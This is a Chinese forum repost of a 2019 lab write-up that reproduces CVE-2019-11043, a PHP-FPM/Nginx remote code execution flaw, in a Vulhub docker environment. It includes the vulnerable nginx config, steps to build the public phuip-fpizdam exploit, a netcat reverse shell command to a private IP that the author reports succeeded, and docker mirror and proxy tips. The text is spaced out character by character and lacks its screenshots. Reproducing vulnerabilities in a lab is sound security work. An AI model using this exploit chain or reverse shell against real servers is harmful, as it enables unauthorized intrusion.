搜索

[26855] 2019-10-28_PHP远程代码执行漏洞复现（CVE-2019-11043）【反弹shell成功】

文档创建者：s7ckTeam
浏览次数：11
最后更新：2025-01-19
2019-10-28_PHP远程代码执行漏洞复现（CVE-2019-11043）【反弹shell成功】 P H P 远 程 代 码 执 行 漏 洞 复 现 （ C V E - 2 0 1 9 - 1 1 0 4 3 ） 【 反 弹 s h e l l 成 功 】 徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 1 9 - 1 0 - 2 8 本 文 作 者 ： S n o w m i n g （ h t t p : / / b l o g . l e a n o t e . c o m / s n o w m i n g ） 漏 洞 描 述 漏 洞 描 述 C V E - 2 0 1 9 - 1 1 0 4 3   是 一 个 远 程 代 码 执 行 漏 洞 ， 使 用 某 些 特 定 配 置 的   N g i n x   +   P H P - F P M   的 服 务 器 存 在 漏 洞 ， 可 允 许 攻 击 者 远 程 执 行 代 码 。 向 N g i n x   +   P H P - F P M 的 服 务 器   U R L 发 送   % 0 a   时 ， 服 务 器 返 回 异 常 。 该 漏 洞 需 要 在 n g i n x . c o n f 中 进 行 特 定 配 置 才 能 触 发 。 具 体 配 置 如 下 ： 2 .   4 .   6 .   8 .   1 0 .   1 2 .   攻 击 者 可 以 使 用 换 行 符 （ ％ 0 a ） 来 破 坏 指 令 中 的 R e g e x p 。 R e g e x p 被 损 坏 导 致 P A T H _ I N F O 为 空 ， 从 而 触 发 该 漏 洞 。 影 响 范 围 影 响 范 围 在   N g i n x   +   P H P - F P M   环 境 下 ， 当 启 用 了 上 述   N g i n x   配 置 后 ， 以 下   P H P   版 本 受 本 次 漏 洞 影 响 ， 另 外 ， P H P   5 . 6 版 本 也 受 此 漏 洞 影 响 ， 但 目 前 只 能   C r a s h ， 不 可 以 远 程 代 码 执 行 ： P H P   7 . 0   版 本 P H P   7 . 1   版 本 P H P   7 . 2   版 本 P H P   7 . 3   版 本 漏 洞 复 现 漏 洞 复 现 使 用   p   牛 的   d o c k e r   环 境 进 行 复 现 ： P H P - F P M   远 程 代 码 执 行 漏 洞 （ C V E - 2 0 1 9 - 1 1 0 4 3 ） h t t p s : / / g i t h u b . c o m / v u l h u b / v u l h u b / b l o b / m a s t e r / p h p / C V E - 2 0 1 9 - 1 1 0 4 3 / R E A D M E . z h - c n . m d 准 备 工 作 ： 安 装   d o c k e r 、 g o l a n g   环 境 搭 建 漏 洞 环 境 搭 建 漏 洞 环 境 1 .   l o c a t i o n   ~   [ ^ / ] . p h p ( / | $ )   { 3 .     . . . 5 .     f a s t c g i _ s p l i t _ p a t h _ i n f o   ^ ( . + ? . p h p ) ( / . * ) $ ; 7 .     f a s t c g i _ p a r a m   P A T H _ I N F O   $ f a s t c g i _ p a t h _ i n f o ; 9 .     f a s t c g i _ p a s s       p h p : 9 0 0 0 ; 1 1 .     . . . 1 3 .   } f a s t c g i _ s p l i t _ p a t h _ i n f o 1 .   s u d o   a p t - g e t   i n s t a l l   d o c k e r   d o c k e r - c o m p o s e 2 .   s u d o   a p t   i n s t a l l   g o l a n g 1 .   g i t   c l o n e   h t t p s : / / g i t h u b . c o m / v u l h u b / v u l h u b . g i t 2 .   c d   v u l h u b / p h p / C V E - 2 0 1 9 - 1 1 0 4 3   & &   d o c k e r - c o m p o s e   u p   - d
启 动 环 境 之 后 ， 就 可 以 看 到 漏 洞 环 境 的 默 认 页 面 。 在 此 为   h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / i n d e x . p h p 。 安 装 漏 洞 利 用 工 具 安 装 漏 洞 利 用 工 具 1 .   g i t   c l o n e   h t t p s : / / g i t h u b . c o m / n e e x / p h u i p - f p i z d a m . g i t 2 .   c d   p h u i p - f p i z d a m 3 .   g o   g e t   - v   & &   g o   b u i l d
漏 洞 利 用 漏 洞 利 用
u r l   中 空 格 不 影 响 命 令 执 行 ： p   牛 友 情 提 示 ： 您 应 该 注 意 ， 只 有 部 分 P H P - F P M 子 进 程 受 到 了 污 染 ， 因 此 请 尝 试 几 次 以 执 行 该 命 令 。 反 弹 反 弹   s h e l l : 因 为 我 用 的 是 P 牛 的 环 境 ， 里 面 没 有   n c   命 令 。 所 以 不 能 用   n c   的 反 弹   s h e l l 。
给 此 d o c e r 容 器 装 一 个   n c ： p 牛 的 环 境 有 两 个   d o c k e r   镜 像 ， 一 个 是 n g i n x ， 一 个 是   p h p : 进 入   n g i n x   的 容 器 ：

如 图 就 装 好 了 。 此 容 器 。 尝 试 在 u r l 里 面   n c   我 本 地 监 听 的 端 口 ： 没 有 成 功 。 但 是 继 续 观 察 ， 可 能 是 镜 像 不 对 。 因 为 p 牛 封 装 的 这 个 环 境 有 两 个   d o c k e r ， 刚 刚 都 是 在   n g i n x   d o c k e r   镜 像 里 面 尝 试 的 ： 试 试 在 p h p 镜 像 里 面 装 n c 。 毕 竟 、 换 镜 像 装   n c ： e x i t
然 后   n c   连 接 成 功 ： 试 下 反 弹   s h e l l : 反 弹   s h e l l   成 功 ！ 1 .   n c   - e   / b i n / b a s h   1 0 . x . x . 3 9   7 7 7 7
科 学 提 速 科 学 提 速 这 个 环 境 我 下 了 很 久 没 下 下 来 ， 我 之 前 一 直 在 国 外 ， 对 一 些 换 源 、 换 镜 像 不 熟 悉 。 方 法 一 ： 阿 里 云 容 器 镜 像 加 速 器 方 法 一 ： 阿 里 云 容 器 镜 像 加 速 器 U R L ： h t t p s : / / c r . c o n s o l e . a l i y u n . c o m / c n - h a n g z h o u / i n s t a n c e s / m i r r o r s 进 去 之 后 获 取 ： 然 后 配 置   d o c k e r   文 件 ：
： 上 面 的 是 阿 里 云 ， 下 面 的 是 中 科 院 。 阿 里 云 的 更 快 ， 只 用 阿 里 云 就 行 了 。 然 后   r e s t a r t   一 下   d o c k e r ： 然 后 就 可 以 了 ！ 参 考 链 接 ： [ 1 ]   镜 像 中 心 - 镜 像 加 速 器 [ 2 ]   官 方 镜 像 加 速   操 作 手 册 重 启   d o c k e r   之 后 ， 速 度 仿 佛 换 了 个   d o c k e r ， 很 爽 。 方 法 二 ： 系 统 代 理 方 法 二 ： 系 统 代 理 基 于   h t t p   协 议 的 ： 需 要 凭 据 ： 无 需 凭 据 ： 注 意 ： 这 种 命 令 行 运 行 是 临 时 的 ， 要 全 局 的 话 加 入 到 。 基 于   s o c k s 5   协 议 ： p r o x y c h a i n s 打 公 网 机 器 打 公 网 机 器 注 1 .   s u d o   s y s t e m c t l   d a e m o n - r e l o a d 2 .   s u d o   s y s t e m c t l   r e s t a r t   d o c k e r 1 .   e x p o r t   h t t p _ p r o x y = " h t t p : / / 用 户 名 : 密 码 @ i p : 端 口 号 / " 2 .   e x p o r t   h t t p s _ p r o x y = " h t t p : / / 用 户 名 : 密 码 @ i p : 端 口 号 / " 1 .   e x p o r t   h t t p _ p r o x y = " h t t p : / / i p : 端 口 号 / " 2 .   e x p o r t   h t t p s _ p r o x y = " h t t p : / / i p : 端 口 号 / " e t c / p r o f i l e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理